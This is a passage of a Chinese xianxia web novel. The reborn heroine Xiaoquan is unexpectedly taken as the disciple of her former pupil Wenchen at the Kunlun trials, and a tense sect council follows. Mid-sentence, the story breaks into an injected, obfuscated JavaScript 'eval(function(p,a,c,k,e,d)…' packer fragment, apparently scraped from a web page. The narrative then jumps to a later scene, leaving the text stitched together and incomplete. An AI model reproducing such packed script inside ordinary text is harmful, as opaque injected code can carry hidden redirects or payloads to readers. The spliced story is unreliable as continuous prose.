她回头瞄了一眼,只见莫长东感激涕零的对闻尘说着什么,闻尘定在原地未动分毫,不是点头就是静立,单从背影就能看出他很不擅长应付热情。他从来都是一个慢热的人。 好徒儿,并不是为师给你找麻烦,而是你要知道,一日为仙,终身福民。为师是在考验你的定力,回来可千万千万不能找我麻烦。 潇泉内心祈祷着,顺道一路往上,还没爬到一半便累得人模狗样。实在熬不住,她倒在路边装死歇息,等差不多了接着爬。 没躺多久,一道山风自上滚下,潇泉整个人清爽不少,起来重新攀爬的步伐都轻松许多,一时兴起哼出小调,后来越爬越觉得不对,她好像没有刚才那般要死不活了。 潇泉静心感受,周身似有灵气萦绕,淡淡药香舒心沁脾,很像某人散发的气息。她身形一顿,想到什么,见鬼似的回头,闻尘正在阶下看她。 潇泉有点做贼心虚,“仙君何时来的?” 闻尘:“刚到。” 潇泉身体轻盈的状态持续有一会儿了,信他才有鬼。 她面上没有一丝不妥,笑容和姿态极其符合乖觉废柴晚辈的模样。可惜对牛弹琴,闻尘看也不看她,兀自过来拿走她身上成堆的包袱,继续往山上走。 见他没有追问刚才的事,潇泉耸肩坐在阶上,两腿自然跨开,怎么舒服怎么坐,拿起水壶解渴的工夫,闻尘回身道:“先回去。” 潇泉痛苦摇头,趴在阶上不肯再动,“我真的走不动了。都怪那个臭道士半路截我,还说了一堆我听不懂的话。仙君,不然你先回去?我随后就来。” 刚一说完,紫影袭至眼前,潇泉还没看清,腰后力量忽然一紧,紧接着双脚一空,身体一沉,晃眼间便稳稳骑在了马背上。 她对前方闻尘的背影无辜眨眼,觉得眼下顺其自然没什么不好,牢牢抓住缰绳以防不测。 骏马温顺从容的表现似乎起到一丝安慰,潇泉绷紧的状态不觉放松,开始关注马匹,“仙君你还养马啊,居然随叫随到,太有灵性了。” 闻尘没有回头,“师门有养。” 潇泉“哦”了一声,低头抚摸马头。 “刚才的事,你不打算解释了吗?”闻尘忽道。 24. 锦瑟 原来他记在了心里,潇泉就知道没那么简单。 难得他开口质问,她可不能扫兴,“刚才的事我绝对没有跟您撇开关系的意思,那是迫不得已。仙君您也瞧见那道士有点缠人,我要是想打发他,刚才是最好的做法。” 闻尘静静看着她,什么都没说,又像什么都说了。 为了打消他的疑虑,潇泉把怒斥老板收黑钱,说自己是凶神恶煞的朱雀门子弟云云一并说出,顺便提了一嘴难缠的道士,唯有算命一事隐瞒不讲。 闻尘听完抿唇,陷入浅思。 潇泉神采仍飞,“我出来他还追我,可把我吓坏了,生怕他知道我认识你会胡搅蛮缠不可理喻,我这才说不认识你的,仙君莫要往心里去。” 她逗弄胸前辫子,“仙君身份尊贵,你我云泥之别,本无相识缘分,不过一场意外碰巧萍水相逢。” 言语如此客气委婉,谁都能听出她这是有离开的打算。 闻尘一字未言,没有回应。 不知为何,说到最后潇泉有点于心不忍,望着闻尘孤寂的背影到底留了几分情谊,“不过仙君要是愿意,我倒乐意在青泽多待些时日。” 闻尘轻轻偏头,余眼向她。 “怎么,我看仙君貌似不想划清关系,难道是我自作多情了?”潇泉面上惋惜,“好吧,三年之后我一定离开。” 闻尘:“我无此意。” 潇泉忍笑,没再刁难,“原是误会一场,仙君当真吓坏我了。” 两人继而前行,与山息融为一体。 许久,闻尘问她:“如果离开青泽,你会去哪儿。” 潇泉微讶他会关心自己去向,思量道:“我这个样子还能去哪儿,只能去仙家驻守的城镇生活,直到生老病死。要是我有机会破除体内禁制,我不会选择安享晚年。我想修行证道,逆天改命,看看自己能走到哪种地步。” 她不想再走投无路,死无绝地。如果可以,她希望上天能施舍一点怜悯。因为她发现,有时哪怕倾尽全力也无法与现实抗衡,结果只有一个。 这痴人说梦的话让闻尘陷入很长的死寂,没有冷漠,没有不屑,只是牵着她和马迎风走着,稳重又缓慢地走着。 到达山顶,闻尘先送潇泉回寝室,再牵马去后山,回来时带了一瓶药水,说能缓解筋骨酸痛,可泡脚。 潇泉言谢完毕,带好换洗的衣裳去浴室泡了个舒舒服服的澡,把药液倒进热水腾腾的小木桶,双脚没入其中,待到水渐温,用干净毛巾擦干脚。该说不说药水还挺管用,潇泉脚掌的酸痛缓解很多,再无痛感。 晚膳时分,吾心殿膳厅难得开门,潇泉进去碰见侍女在上菜,再一个便是主位上的闻尘。她挑了离主位最远的地方坐好,等闻尘端碗才动筷。 “不论在哪儿用膳,晚辈都要看前辈的筷子,他们动了你才能动,明白了吗?”这话曾是潇泉对闻尘说的。那时他还年幼,不曾与哪个长辈共食,只和过爷爷,后来是与潇泉。 潇泉没有说他不乖,单纯是怕他养成恶习。在她面前做错,尚有她纠正,但在别人面前,大概只能换来一句“没教养的东西”,打击的程度对无父无母的闻尘不言而喻。 她不想这种事发生,徒弟之过便是师父之过,哪怕孩子本性不坏,该教的还得教。庆幸的是,闻尘一说就懂,不无需过度操心。 今日的荤素搭配正合潇泉心意,她吃饱休息了会儿。 闻尘没让她走,把她留在这里伴读。 潇泉:“读什么?” 闻尘:“昆仑禁忌。” 潇泉:“……” 这么怕她闯祸? 等闻尘递来竹简,潇泉颤巍如老妪,“我不行……” 闻尘:“昆仑禁忌之多,不了解容易犯忌。” 潇泉捂耳捂脸,郁闷道:“那些禁忌我都听说过,我这种废柴资质根本没资格触犯。再说我大字不识几个,就算看了也看不懂,不如……” 闻尘:“我读,你听。” 潇泉幻想他耐心细读的模样,觉得听学也不是不可以,一下来了三分兴致,“当真?” 闻尘手捧竹简,坐姿端正,“我不食言。” 他先念出四大禁忌以及禁物,然后再念其余注意事项,一连下来念了不少。潇泉默不作声,拎来一壶清水给他倒上一杯,然后在书房闲庭信步,一会儿坐一会儿站,就差围着闻尘转。 闻尘声音还有几分像少时,更多是沉冷的清朗。假如性格活泼,笑起来应该非常爽朗阳光。这样的声音不管唱曲儿好还是念词也好,都能使人平心静气。因而潇泉坐着坐着不自觉趴在桌上睡着了。 书房宁静无比,闻尘合简起身,并指轻点潇泉脖颈后心,她竟起身如梦游般走出殿外。 将要跨出门槛,潇泉一个趔趄往外面石阶倒去,已经返回的闻尘又折身回头,闪身过去拉住潇泉,沉沉叹息。 他做出一个决定,把她平稳放地,跟在后面看她一步一步游到自己房间门口。 又遇门槛,闻尘盯着她脚,在她举步那刻用脚往上轻抬,成功帮她跨过那道阻碍。这还没完,他继续站在门口看守潇泉的一举一动,催动法术帮她避开障碍,规规矩矩躺回榻上,然后盖好被褥准备离开。 步行不远,他又折至门口,隔空揭开被褥,把人没褪下的外衣脱下,飞到衣架上自动挂好,这才静声关门离去。 昆仑开山是一个重要日子,数十名青泽子弟受命看守,鸡鸣晨起御剑齐去。 潇泉醒来的第一件事是去吾心殿,未料此刻闻尘在和别人谈话,不慎误闯,正眼瞅见华烨真人面孔,愣在原地。 华烨真人也是一愣,看看门口的少女,又看看闻尘,问道:“这孩子是……” 闻尘:“新来的子弟。” 华烨真人寻思片晌,发觉不对,“她住你这儿?” 一般人不能随意进出宗主或代宗主宫殿是青泽规矩,何况闻尘还明令禁止闲人勿进。潇泉一个新人不仅住在殿内,适才进来还没及时招呼,怎么看都不符一名寻常新生的身份。 入住宫殿是闻尘先提,怎么说也是他来解释,且眼下情况,潇泉根本没说话的份,所以没有打岔。 闻尘:“是。她无灵根,可暂住在此吸收宝物灵气。” 没曾想他也有此想法,潇泉心中暗惊。 华烨真人似是不信,问:“住多久?” 闻尘:“不久。” 他回答模糊,对面没再追问,若有所思地“哦”了一声,嘴角却带笑意。 闻尘似要再说什么,最后又作罢,“华伯,可以启程了。” 他没有遣退潇泉,华烨真人明白他意思,但看少女没有灵力可施,不免疑虑,压声问:“你要带小姑娘一起去?” 闻尘:“她体弱灵弱,想随我们一道上山感受仙灵之气,试试能不能探寻自己的机缘。” 华烨真人没有意见,“可以是可以,不过她是你子弟,你可得看好。” 闻尘颔首,“是,华伯。” 就这样,潇泉跟随他们御剑飞行,很快到达仙门的威望之地——昆仑山。 彼时昆仑人山人海,盛郁的仙灵之气漫过天际,映出五彩十色华光。华光之下,百家仙门人影绰绰,人潮汹涌成河。 昆仑众生身着鲜艳彩服,在各自位置维护秩序,没有命令半步不动,就在原地镇守。 高台之上,一名金霞华服的青年破风伫立。他肩上停着一只雄鹰,它歪着脑袋凝视沸腾人潮,随后展翅翱翔高空,又向下俯冲,尖锐鸣啼划破天际。 苍老威震的钟声响了三响,金霞华服青年随左右护法站在魁威的山门上,高声道:“昆仑上奉神明、下安世间,乃仙门圣地,旨在斩妖除魔、守护天下太平。入门者当戒私欲、戒色,不为情所困,不为执念而痴。恪守仙道,不近妖魔!” “能踏入昆仑山门是你们的福气,也是昆仑的福气。望诸位能有自省自持之心,不负仙门所望。” “除此之外,凡犯严禁者,皆受诸神审判、偿判台之罪刑,永久剥去仙籍,不得踏入昆仑半步。诸君要三思而后行。” 昆仑派人到门前宣言这些话,无非是想打退作恶之徒。打退不了无妨,昆仑一抓一个准,受诸神审判是必然的。假若不是恶徒者,被这话震到,只能说不适合进昆仑,离开是最好的选择。 进山之人有的仿若未闻,有的神情肃穆,有的则跟同伴有说有笑,没把这些话放在眼里。他们大半是二十左右的年纪,意气风发天真无邪,正是不怕死的时候。 谁都知道入昆仑尤入生死门,成则功名千秋,败则堕入黄泉无间。 可世道妖魔不灭,他们不进这昆仑门,便没人敢在除魔奸邪这条路上刀山下火海了。 有新来的问:“那说话的人是谁?看气势不一般啊,可看穿着又不像仙君长老,还长得那么年轻。” 有人答道:“他是昆仑首席弟子,亦可称昆仑大弟子。地位实力在众门生之上、长老仙君之下,不好惹。” “别看他年轻,那可是活了上百年的仙子。年轻时资质不错,成功登仙入昆仑,是昆仑一个一个筛选出来的优秀弟子,不然哪能在这儿碰见?不是谁都有机会来山前宣言的。” 昆仑首席弟子宣言结束,并未急着离去,而是下了台阶走到华烨真人他们面前抱拳行礼,“华烨真人、百里仙君,高台席位已备好,您们可以入座了。” 其余两位护法齐齐拱手行礼,“华烨真人、百里仙君。” 华烨真人:“好,我们这就去,有劳了。” 有位护法淡淡瞟了潇泉一眼,什么也没说。 潇泉丝毫不惧,知道护法可以看穿她的废柴之身,好奇她为什么能跟着这两位来到昆仑,只是碍于仙君在场没有多问。 潇泉朝他们颔首,后者点头回礼,还算客气。 百试大会的比试广场在半山腰,正前方云台是长老仙君坐观之地,周边派有仙侍守护。云台之下,门生子弟分队站立,面容肃穆。见到华烨真人和百里仙君,他们俯首行礼,冷静中又透着从容。 比试台边吊着一鼎古钟,刚才听到的钟声便是由它发出。 敲钟的小仙女短衫灯笼裤,命锁环颈,两只环戴金圈的赤脚在钟架上灵活走动,一到时辰便一脚踢。这鼎古钟怎么说也有百来斤,踢来踢去的小仙女却从未露出痛色,反而还很开心。 几人穿过人群登向高台,潇泉在后方轻声道:“我就不上去了,我在下面看。” 闻尘看了一眼她手腕,点头应允。 时辰未到,高台人还没齐,大家趁空谈论此次大会究竟又会出现什么神人怪物,几个长老仙尊亦是如此。 可能是不熟的缘故,子弟们对穿梭在人海中的潇泉近于视而不见,少有人投去打量眼神。她在仙群畅通无阻,偶尔融入没有站队的门派之中问一两句,也有人随口答应。 钟声一响,比试开始。 场面严肃安静下来,上场的第一对修士所受的注意力非常压迫,容易产生紧张心理。若本身修养不稳,可能会失手导致败场,不过不算可惜。内心意志也是昆仑考核的其中一环。 第一场比试分外激烈,双双实力不相上下,引得不少人的震撼惊叹,在连连感叹之下看出胜负。 十几轮走过难免略感疲惫,有人去其他地方闲情雅坐,多数仍在原地坚持。 潇泉抓住人流涌动的机会偷溜出场,穿过小路来到一个岔路口想试试能不能进去。刚迈几步,腕上的金刚手环嗡嗡作响,生出一道淡黄色的风墙把她拦了下来。 潇泉:“……” 原来闻尘让她戴这玩意儿的真正用处是防止她乱跑。早该想到他不会轻易答应她的要求,这金刚手环就是后果。 先想办法解开这个金刚手环再说。潇泉蹲在路边捡起一块石头用力砸,砸了两下,金刚手环纹丝不动,反复砸击仍然如此。她被迫放弃,迷茫之下,打算挤入人群碰碰运气,看紧那些准备上台比试的修士,从身量、气势、武器判断谁有可能劈断手环。 这想法在潇泉脑海里慢慢飘远,转瞬又被她掐掉。参会者多是初入仙门的修行之人,大多没有解决仙君法器的本事,有也极少。 金刚手环不似昆仑赏发的宝物,原料珍稀,制作精密,更像闻尘自制的私人法器。他敢拿它作为她观会的条件,一定是肯定她奈何不了手环。如此一想,潇泉抱的希望更加不大。 这下求己不得,要求人了。 潇泉磨磨蹭蹭走上高台,刚一露头便见闻尘在位子上坐如雪雕,既不交头接耳,也不对台下比试做任何表态。 似是感应到她目光,他偏头望来。 潇泉举手朝他轻晃,就差过去问他怎么解开这破手环。谁知闻尘像没看到似的,静静别过头。 他故作视而不见,潇泉气得蹲在角落摔石子玩,边摔边看他。不多时,闻尘重新拾目,神情认真,不容置喙。 对方拒绝了她的请求。 既然如此,潇泉觉得没必要再浪费时间,转身下台留下一个背影。 早知道他这么气人,当初就该趁他小的时候多揍一顿! 潇泉力不从心,在嘈杂人群找到一处僻静的草坪躺着歇息。不久,她睁开眼睛,猛朝旁边大树一踢,将越想越气的心情发泄一通。 一个金属法器从树上掉落。 上方,有人气歪嘴道:“谁啊?没看见树上有人?” 潇泉面无表情,“对不起,我没看到。你东西掉了。” 青年摸了摸口袋,掀开脸上荷叶,坐直往下看,“我的宝贝!” 他二话不说一跃而下,捡起法器揣回兜里,问潇泉:“你比完了?” 青年约莫二十出头,卷发高扎,束着一条纯红头巾,身材魁梧,气质自傲淳朴,看上去像个简单又不简单的人。 潇泉诚然道:“我没有灵力,比不了。” 青年双眼诧异,“那你还在这儿干嘛?不回家?” 潇泉:“回不去,我主人在这儿。” 青年睁圆眼睛,“主人?你是侍女?” 潇泉亮出金刚手环,郑重点头,“这东西一直困着我,我不能离开这里半步。” 青年皱在一起的眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她站在台下默默观望着,听到判官喊道:“欧阳德。” 青年跳上台,“我在!” 他双手缠紧铁棘手刺,开打之前看见潇泉,立在台下,双眼一亮,露出一个温和阳光的笑容。 潇泉被他的憨实逗笑,开口道:“我相信你。” 欧阳德笑着点头。 判官大喝一声,比试开始。 欧阳德在原地徘徊防护,灵敏躲过对面的暴打,一来二去都没有出手。对手因此蒙羞恼怒,使出半身全力飞出一道强悍的法术攻向欧阳德。欧阳德两次翻身躲开,肩膀擦破了皮,鲜血汩汩流出。他面色如常,粗鲁地用衣角擦去血迹,开始反击,每拳每脚步步到位,在一次间隙成功压住对方出击。 双方僵持不下,欧阳德靠着一身彪悍的猛力打得对方连连后退,险些掉下武台。 欧阳德这段刚柔并济的身法融修得甚好,直教台下人叫好。 对面修士挡了又挡,奈何欧阳德看穿了他战术,施出对应的招式,把他逼得无计可施。 修士慢慢落于下风,忍不住道:“你刚才故意被我挨打,就是为了寻找我战术的破解之法?” 欧阳德咧嘴一笑,“是啊。可你发现晚了,我今天必须拿下魁首,对不住了兄弟。” 修士不屑,“你还想跟其他强者比一场拿魁首?你是在痴人说梦吗?” 欧阳德:“我想用实力证明自己怎么能算痴人说梦?什么时候,人生梦想变成被人耻笑的痴人说梦了?要是我刚好有实力做到了呢?” 修士咬牙欲要发作,冷哼甩袖离场。 夺魁首是高手之间的较量,精彩又恐怖,一般会有医仙在场救人,以防意外发生。昆仑本意不是让大家用命拼,量力而行即可。可防得住君子防不住小人,谁也不知道精彩和意外哪个先来,因此只能尽量做好万全之策。 欧阳德与其他三位强者站在更大的武台上,四人互相攻击牵制,难度奇大,竞争力十分恐怖。他卯足了劲儿勘破对方战术,挨打之后再进攻。期间不仅要时时防袭,还得正面迎击,两头操心甚是不易。 日头渐微,四人还剩三人在战。 他们都已乏累,拳脚术法不如开始流利有劲儿,由内而外散发着一股疲意。只有欧阳德出人意料,他用尽力气把一个人踹到台下,又把另一人用绳子锢在地上,硬生生耗完那人体力,最后一举夺魁。 所有人在欧阳德身上看到两样东西:武力和智取。 拼尽全力的欧阳德累倒在地,潇泉过去扶他下台休息,还没把水送到人家手里,金刚手环便定住她手不让动了。 她望向高台,那儿没有闻尘的身影。 台上所有长老仙君纷纷离席,下来给这位魁首道喜,另外可以满足他的拜师心愿。在这之前,华烨真人给欧阳德送了一碗无色无味的水。欧阳德喝下之后,脸色瞬间大好。 不远处,闻尘停在半路,没有靠近这边。 欧阳德缓了缓神,知道自己获得择人拜师的机会,先对潇泉开心一笑,再对华烨真人毕恭毕敬道:“华烨真人,我别的不求,只求一事,您能先答应我吗?” 华烨真人:“求事先说事,不要强人所难就行。” 欧阳德擦去嘴边的水,“行,那我先说。昆仑没有规定不能谦让,我想恳请百里仙君收我这朋友为徒。仅此一事,再无其他。” 潇泉一听,差点没背过去。 这个欧阳德善心甚仁,但智力堪忧,好心误办缺德事。他敢说潇泉都不敢听,不管哪位仙君收废柴为徒,一定会被仙门诟病大半辈子,废柴本身听到的声音也会比平时刺耳尖锐,需要过强的心理承受能力。 欧阳德这一求可谓是一箭双雕。 华烨真人颇为意外,第一时间不是看潇泉,而是去看闻尘。 其余长老仙君皆是一愣,对潇泉诧异又好奇,不知她何德何能让他们的魁首主动谦让拜师资格。 欧阳德还没等人相劝,伸掌拒道:“晚辈此次前来主要是完成家母的心愿,如今愿望达成,我要回家了。我娘说拜不拜师无所谓,最重要的是能在昆仑展现自己的本领。我原是懒得夺魁,但刚好遇见我的朋友,她说她想逆天改命,还说相信我,所以没有她就没有夺魁的我。让她拜师并无不妥,昆仑没这规定啊。” 潇泉不忍直视,心中煎熬焦灼万分,想着要用什么理由借口应对这场突发情况。 围观子弟从未见过这等场面,皆是傻眼。 华烨真人:“你……确定?” 欧阳德视死如归地点头,“我肯定。” 奇葩,这果然也是奇葩。 华烨真人没有驳回,“闻尘,你接受吗?” 众人皆知百里仙君十分避讳师徒关系,当众请求拜他为师无异于在世光日下自取其辱,打自己的脸。 这等打脸好戏无故开场,大家兴致盎然,不断在欧阳德、潇泉、闻尘几人之间来回看,生怕错过一场好戏。 最后主角的戏份落在闻尘头上,所有人盯着他微微启动的唇,等他说出一句浇灭激情亢奋的话。 “我,”闻尘微顿,“接受。” 25. 执着 四下登时陷入死寂,数双震惊不解的眼睛齐齐看着闻尘。 当真是在拿名声做赌注。 潇泉朝面前几位前辈一礼,示意有话要同欧阳德讲。 她把人带到角落里,小声道:“你这是干什么?我没说过要拜他为师,你这是在为难我。” 欧阳德:“现在你不是很痛苦、想逆天改命?我有能力帮你为什么不帮?青泽门规没有以前严格,你去那儿根本不用愁后半辈子。百里仙君已登至十二境,年轻好说话,说不定可以帮你摆脱废柴之身。你看,他自个儿都说没意见,这还不是好人?机会都摆到你眼前了,你还怕他害你啊?” 潇泉心中涌上暖意,却仍微笑摇头,“我废柴之身是天生的,很难改变。” 欧阳德:“昆仑仙君又不是只能收一个徒弟,他知道你用不上可以再收其他徒弟啊。你先在他那里享五年福,不是挺好?” 潇泉无话反驳。 这时,一声呼唤引起潇泉注意。 “那谁那谁,我在这儿!百里大人,我来了!”宫璃跑得飞快,不顾身后兄长叮嘱,先向诸位前辈行礼,然后急匆匆溜到潇泉面前,“你也来了啊,早知道来找你玩了,我在客居无聊死了都。听说这次夺魁大会特别精彩,魁首叫欧阳德。谁是欧阳德?” 欧阳德举手,“是我。” 宫璃围着他打量,“长得忒壮实,怪不得能夺魁。你想拜谁为师啊?” 欧阳德指了指潇泉,“我不拜师,她拜。” 像欧阳德这等实力蛮横之才,哪怕谦出拜师资格,也不可能被黄沙埋没。昆仑看中他本事,绝不可能轻易错失良才弟子。 宫璃:“这是你夺魁的心愿?” 欧阳德:“正是。” 宫璃:“姐姐,你想拜谁?” 欧阳德帮忙答道:“除了百里仙君,她没得选。” 宫璃回头一瞟闻尘,悄声问道:“百里大人怎么说?” 欧阳德:“他说接受。” 宫璃猛吸一口气,想起昔日自己软磨硬泡都打动不了的人如今为别人破例,鼻头一酸,许久说不出话。 后面,宫榷拎起他衣领往旁边一站,“你不需要跟一个废物比,做好你自己就行了。” 宫璃想拜闻尘为师是不争的事实,也许在常年相处中,愿望不如起初那样强烈,但不是说放下就能放下的。 潇泉何尝不清楚,此时进退两难,久久没有出声。 宫榷见不得弟弟这般自卑,正要对闻尘阴阳怪气一通,被华烨真人打断。 华烨真人唤道:“闻尘。” 闻尘面容平和,眼神掠过宫璃,神情略微有异,但很快恢复如常。 如潇泉先前所说,求人传授本事不一定得争取名分,能在朝夕相处中传授本领,亦是师父。 十年,闻尘默默教给宫璃的东西摸不着、数不清。那一刻,宫璃脸上的复杂表情竟有一丝释怀。 事发突然,闻尘临时写下一张师徒契,让潇泉自己抉择接还是不接。潇泉盯着契纸踟蹰,余光似能越过纸张看到闻尘面孔。 他是喜悦,还是无感? 潇泉看不清楚,也不打算看清,在众人瞩目下接过契纸。触碰那瞬,金文契纸变成一道金光飞进她腕上的金刚手镯,一串暗色繁文赫然印刻。 契约已定,金刚手镯便是师徒契物。 潇泉挑眉看向闻尘,他神态自若,不觉不妥。 华烨真人:“闻尘,赠与弟子的契物需精挑细选,你现在会不会急了点。” 闻尘面色自若,“手镯由我亲手研制,刚好与她配适,不急。” 华烨真人语意稍顿,“那便好。” 收徒是闻尘自己的选择,与别人无关,且以他的实力,化废柴变宝也有可能。大家没有妄加非议。 师徒契成,潇泉仿佛回到两百年前,只不过换了师徒视角。她忍住内心无处可发的哀怨,准备俯首拜礼。一股淡淡幽香扑鼻而来,宽厚温暖的手掌扶住她手臂,“不必。” 潇泉听得耳朵生疼,“仙君可还有要事吩咐?” 她仰头望他,后觉旁人眼光有异,反应过来连忙改口,垂下脸面,“师……师父。” 闻尘不应,只道:“我还有事要谈,你可自行安排。” 潇泉沉心叹息:“是。” 送走闻尘及一众仙君,潇泉收回注意力,正要安慰一旁暗自神伤的宫璃,少年先过来祝贺,“恭喜,以后我们能经常见面了。” 潇泉默然,想起当年自己不愿收徒是怕教养不好,而今闻尘重蹈覆辙,兴许也有难言之隐。宫璃年纪还轻,有时不解长辈行为,小脑瓜里指定在想闻尘为什么不要他,是不是他哪儿做得不好,其实都不是。 她想了一想,“你不要想太多,仙君这样做可能是有他的原因。” 宫璃:“我知道姐姐你想说什么,不必多言,我能理解。百里大人可能是真的想帮你提升修为、解除废柴之身,不得已才破例收你。这是好事,你要好好把握,拜他为师没有坏处。” 多少人挤破脑袋想拜昆仑仙君为师,却连见一面都难。可又有多少人是真情实意地想要对方拜师,而不是觊觎他们的修为、境界和名声,安在自己身上耀武扬威? 潇泉知道自己幸运,“你不理解的事,我也想不通。” 宫璃略一思量,“其实第一次见你,我就觉得你和别人不同。你不争不抢,做事只为吃口热饭穿身暖衣,不会向别人过分奢求。或许百里大人正是看重你这一点,又觉你身世可怜,这才顺水推舟收你为徒。而且他好像一开始就关注着你。” 这孩子的心思竟这么细腻。潇泉继而追问:“他一开始就关注我?那你觉得……他对我是什么态度?” “说不出来。我觉得你们不像初次见面,不像亲朋好友那般亲近,反倒有种……认识很久但互不相认的感觉。你看着无所事事,但一做正事就像变了个人……”宫璃不禁怀疑,“我很好奇,扶摇真是你名字?你真的来自平安镇?” 面对少年的质疑,潇泉没有回答,没有惊慌失措,唯有沉默微笑。 “你这是默认了?”宫璃神色如常,“百里大人知道吗?” 潇泉:“阅尽千帆之人,心中自有答案。无论真假,只要走近,便有知道真相的机会。” 宫璃:“你很了解他?” 潇泉:“谈不上,这只是我自己的想法。他活了那么久,哪能这么轻易被人猜透?” “也是。”宫璃轻叹,“我也从来没有看透过他。” 议事堂内,长老仙尊依次入座,先谈今日大会所见所收的奇才,对改善比武的方式提出简单看法,最终表示照旧,再一个是闻尘收徒。 有长老道:“百里君,虽说你修为拔萃出众,能一肩扛起青泽重担,但收一个来历不明且修为无几的女孩,这会不会太冒险了?” 闻尘先礼后道:“她有天赋。” 长老就知如此,扭头道:“华烨,你不劝劝?” 华烨真人有时也服自己老好人的性子,这种场面都有人拉他出面,无奈回应:“你叫我?我能劝什么?” 随后他压声,“闻尘已经不是小孩,他自有决断,用不着我们这些半截入土的担心。你少操心吧,他肯收徒就不错了。” 长老叹息一声,没再多言。 斜对面,宫榷直挺挺坐着,犀利眼神扫过闻尘,“你真有把握让那个废柴提升修炼?” 闻尘言简意赅,“有。” 宫榷一手搭放膝盖,一手把玩茶盏,“你教那女孩我没意见,但敢冷落我弟弟,我必会抽空拜访你青泽山门。” 华烨真人正色,“宫榷,这是议事堂,你收敛一点。” 宫榷不是第一次在公堂针对闻尘,他一般只骂不动手,真要动起手来,那叫一个天崩地裂。两位十境以上修为的仙君若大打出手,这座几百年的老房屋未必受得住。 在别人眼中,闻尘放着资质良好的宫璃不要,收一个没有灵根的废柴少女为座下子弟,这无疑对宫家的一种侮辱。哪怕闻尘没有此意,难保外面不会有人恶心揣测、闲言碎语,所以宫榷生气情有可原。 看在华烨真人的面子上,宫榷冷哼闭嘴。 这次开堂不单是为此事,另一长老道:“昆仑镜有异样。七彩群星冒出一颗细细血色红星,像极了孤煞降世的征兆。主宰叫我等多多观察提防,你们怎么看?要分地巡游还是怎么?” 昆仑镜别名“观天镜”,面若星辰,大如磐石,凝聚着千年灵气,可随天下形势变换星盘。换言之,它就是一个反应天下局势的天然华宝,镜面呈现的七彩群星色泽明亮或浅淡,与颜色妖冶张狂的“天煞孤星”区别明显。 “此事难说。昆仑镜不是没出过这类情况,最后总是虚惊一场。这回不知被何物影响,先别轻举妄动。”华烨真人思酌,“九州各方重地都有神兵小将镇守,一有风吹草动,他们会先知会昆仑,现在没有消息应是还没动静。如果观天镜上面的血星出现异动,我们再外出巡游。在这之前,我们先让九州谨慎提防周围的风吹草动。” 无人有异议。 长老:“金鹤君,之前你说在哀乐山感应到了魔气,确定是真?那次除了你和闻尘两家子弟,还有谁在?” “南山庄主和他的手下,他儿子被邪祟入侵太久,已是无可救药的地步,被百里君的法器斩杀消灭。”宫榷如实道来,“我感觉魔气不像是他散发而出,邪气和魔气总归有不同之处,这我还是能辨清的。” 长老:“这么说来,魔气根源不在变异的尸身,而在其他地方。” 宫榷:“我可以肯定我朱雀门子弟心灵纯净,绝无修邪之二心。只是不知青泽山的百里君会不会同我一样,眼里融不进沙子。” 他言语尽是明争暗讽,但偏偏没有说错,堂内一时无声。 华烨真人转头,“闻尘,你可有觉察到异样?” 闻尘:“除尸体变异外,再无其他异样。” “死了将近十年的人突然破土行凶,驻守哀乐山的仙家一夜之间沦为坟场。闻尘,你是真不明白还是假不明白?”宫榷冷笑,“除了神魔,我想不到还有什么妖魔鬼怪能有这般恐怖的能力。” 提到神魔,众仙脸色俱变。 华烨真人微怒,“金鹤,慎言。莫要放肆。” 闻尘眼也不抬,“无凭无据定论,无非是荒谬之果。” 宫榷:“要是我抓到证据,你当如何?” “到了那日再说。”闻尘拂袖离去,一刻没有多待。 这两位向来水火不容,只要双双在场,没有不吵的。其他事尚能平和相谈,一提“神魔降世”之类的字眼,闻尘脾气再好也会翻脸,而这字眼像是宫榷压人的利器,他最喜欢在闻尘面前提。 两人纠葛的源头太久,那时潇泉还没离开,不论在青泽还是堕魔,宫榷针对的苗头始终是她。她死后一段时间,闻尘修炼成仙,拜昆仑、登仙位,成为宫榷下一个嘲讽对象。 开始的厌恶好像在他少时便扎根伫立,后来潇泉背叛仙门,宫榷就一直嗤之以鼻,对堕魔之徒从不心慈手软,这与他从小接受的教育有关。 虽然宫家母亲严厉无情,但背后的家族却是公正分明、知分黑白,一向不待见恶极之徒和妖魔鬼怪,尤为叛离仙门堕入魔道者。宫榷在这种氛围的家族环境长大,难免不会受其影响。 闻尘离开之后,宫榷安定下来,与在场的长老仙君道歉请罪,只是语气平淡,分不清是敷衍还是心情不好,长老们懒得深究。 华烨真人:“金鹤,日后议事不要再提无关之人,这样容易引起仙门内斗,没有任何好处。还是说,你也想被主宰大人惩处一回?” 宫榷拱手,“晚辈只是不明白,一个犯禁之人有何脸面留在仙门?就凭他的修为实力?” 华烨真人:“这是主宰的决断。尽管闻尘犯过滔天大错,但未曾伤人,还有机会改过自新。闻尘不喜提及,主宰更不喜提,以后你也莫要再说这些,没有任何意义。这么多年过去,恩恩怨怨早该消散了。” 宫榷阴沉着脸,“……是。” 一位长老道:“行了,今日议事本就没什么要事,只是让你们注意一下身边的怪人怪事,别因为一点破事大伤和气。要是再这样,以后你们都别进议事堂了,看着就闹腾。” 宫榷垂首不言。 华烨真人吐了一口气,“行了,议事结束,我先行一步。你们自行安排。” 议事堂不欢而散。 大会成功留山的新生刚好凑够人数,昆仑按照规定把他们分入各个派系,尽早安排他们入门和住处,非山内子弟尽听师父安排。 作为后者的潇泉断然没资格入住昆仑子弟居,她在客居选了一间偏僻房间暂住,睡了一觉还没等到闻尘,在房间无聊发呆,想起过往旧事,隐隐尝到小孩在家盼望大人回来的滋味。 以前潇泉出门办事会让闻尘自己一个人在家自习,有时她回来晚了,闻尘会把课业慢条斯理重做一遍,直到她回家为止;等不到的时候,潇泉会传讯叫他不要再等,闻尘才回房睡觉。时间一久,潇泉越不能心安理得,心生愧疚,会搜罗当地好玩的把戏回来给他作补偿。后来他长大逐渐失去兴趣,潇泉时而发愁要拿什么补偿他。 潇泉托腮发呆,一脸倦意。忽然听到敲门声,她竖耳起身,快步过去开门。 闻尘定定站在门外,没有说话。 潇泉有求于他,见他亲自送上门来,当然不会放过,蔫蔫朝他伸手,“马上要回去了,可以把手镯的禁制解了吗?” 闻尘弹指一动,金刚手镯叮铃一响,金光转瞬即逝。 潇泉细细一摸,“它还会不会限制我的行动范围?” 闻尘:“现在它是你的。” 潇泉指腹轻轻摩挲环壁,“仙君大驾鄙舍有什么事?看你脸色似乎不是很好。” 